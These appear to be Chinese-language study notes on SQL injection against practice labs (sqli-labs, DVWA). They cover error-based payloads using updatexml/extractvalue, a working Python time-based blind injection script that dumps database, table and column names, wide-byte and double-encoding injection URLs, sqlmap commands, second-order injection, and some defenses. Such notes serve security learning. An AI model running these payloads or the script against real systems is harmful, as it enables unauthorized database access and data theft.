链接: https://github.com/dhgdhg/DVWA-Note

  • 报错注入

    让错误信息显示的函数(语句)

    • 报错内容有长度限制到32位, 可以使用substr, left 解决

    • floor()

      • group by 对rand()函数进行操作时报错
      • select count(*) from information_schema.tables group by concat((SQL 语句),0)
          mysql> select count(*) from information_schema.tables group by concat((select version()),0);
          287
          mysql> select count(*) from information_schema.tables group by concat((select version()), floor(rand(0)*2));
          ERROR 1062 (23000): Duplicate entry '5.7.27-0ubuntu0.18.04.11' for key '<group_key>'
    • updatexml()

      • XPATH中存在非法字符产生报错

      • select updatexml(1, concat(0x7e,(SQL 语句), 0x7e),1)

          mysql> select updatexml('<a>b</a>', '/a', 'c');
          c
        
          mysql> select extractvalue(1, '1?');
          ERROR 1105 (HY000): XPATH syntax error: '?'
          mysql> select extractvalue(1, '?1');
          ERROR 1105 (HY000): XPATH syntax error: '?1'
        
          mysql> select updatexml(1, concat(0x7e,(select user()), 0x7e),1);
          ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
    • extractvalue()

      • XPATH中存在非法字符产生报错
      • select extractvalue(1, concat(0x7e,(SQL 语句),0x7e))
          mysql> select extractvalue('<a>b</a>', '/a');
          b
          mysql> select extractvalue(1, concat(0x7e,(select user()),0x7e));
          ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
  • sqli-labs 盲注

      import time
      import requests
      url = r'http://172.17.5.48/sqli-labs/Less-10/?id=1%22%20and%20sleep(if(ascii(substr(({}),{},1))={},1,0))--+'
      user = 'user()'
      database = 'select group_concat(schema_name) from information_schema.schemata'
      table_names = 'select group_concat(table_name) from information_schema.tables where table_schema=\'{}\''
      column_names = 'select group_concat(column_name) from information_schema.columns where table_name=\'{}\' and table_schema=\'{}\''
      def get_data(cmd):
          result = ''
          for i in range(1, 400):
              tmp_j = -1
              for j in range(44, 122):
                  start_time = time.time()
                  response = requests.get(url.format(cmd, i, j))
                  if time.time() - start_time >= 1:
                      tmp_j = j
                      break
              if tmp_j == -1:
                  break
              result += chr(tmp_j)
              print(result)
          return result
      if __name__ == "__main__":
          result_d = {}
          # get_data(user)
          database_list = get_data(database).split(',')
          for i in database_list:
              result_d[i] = {}
              table_name_list = get_data(table_names.format(i)).split(',')
              for j in table_name_list:
                  result_d[i][j] = get_data(column_names.format(j, i)).split(',')
          print(result_d)
  • DNS Log盲注

  • 宽字节注入

    • 宽字节: 大小为两个字节

    • GB2312, GBK, GB18030, BIG5, Shidt_JIS等

    • 中文, 日文, 韩文等都是宽字节

      cond=>condition: 宽字节编码(例:GBK)
      
      io1=>inputoutput: 输入: %df'
      io2=>inputoutput: 输入: '
      opy1=>operation: 处理为: %df\'
      opn1=>operation: 处理为: \'
      opy2=>operation: 编码为: %df%5C %27
      opn2=>operation: 编码为: %5C%27
      opy3=>operation: 解码为: 運'
      opn3=>operation: 解码为: \'
      opy4=>operation: 带入SQL: id=運'' and
      opn4=>operation: 带入SQL: id=\'' and 
      ey=>end: 可以注入!
      en=>end: 不可以注入!
      cond(yes)->io1->opy1->opy2->opy3->opy4->ey
      cond(no)->io2->opn1->opn2->opn3->opn4->en
    • 黑盒测试

      • 在可能的注入点后键入%df, 知乎进行注入测试
    • 白盒测试

      • 查看MySQL连接的 编码是否为GBK
        • 是否使用preg_replace把单引号替换成'
        • 是否使用addslasher进行转义
        • 是否使用mysql_real_escape_string进行转义
    • 注入URl: http://172.17.5.48/sqli-labs/Less-32/?id=%df' union select 1,2,database()--+

    • sqlmap: sqlmap -u "http://172.17.5.48/sqli-labs/Less-32/?id=1%df'"

      • 执行下面这个语句时sqlmap无法检测到注入:sqlmap -u "http://172.17.5.48/sqli-labs/Less-32/?id=1'"
    • 防御

      • 使用utf-8
      • mysql_real_escape_string, mysql_set_charset('gbk', $conn);
      • 设置mysql连接参数, mysql_query("character_set_client=binary", $sql)
  • 二次编码注入

    二次URL解码注入

    • %25 url解码为 %
    • %27 url解码为 '
    • 条件
      • 在执行sql前对查询语句进行urldecode
      • 即使在urldecode前, 进行了mysqli_real_escape_string, 也会产生注入点
    • 分析
      1. 用户输入%2527
      2. php获取GET请求参数时自动URL解码为%27
      3. (可选)mysqli_real_escape_string过滤后为%27
      4. urldecode解码为'
    • sqlmap语句: sqlmap -u "?id=1%2527"
    • 黑盒测试
      • 在可能的注入点后键入%2527
    • 白盒测试
      1. 是否使用urldecode
      2. urldecode是否在过滤后执行
  • 二次注入

    • 数据经过转义后存入数据库, 然后数据库将转义的数据进行了还原, 然后从数据库调用注入数据时, 引发SQL注入
      • 用户输入1'#
        • username : 1'#
      • mysqli_real_escape_string后
        • username : 1\'#
      • 存入数据库后, 数据库中数据
        • mysql_escape_string转义的数据存入数据库后被还原
        • username: 1'#
      • 当直接从数据库取出username, 进行SQL查询时发生注入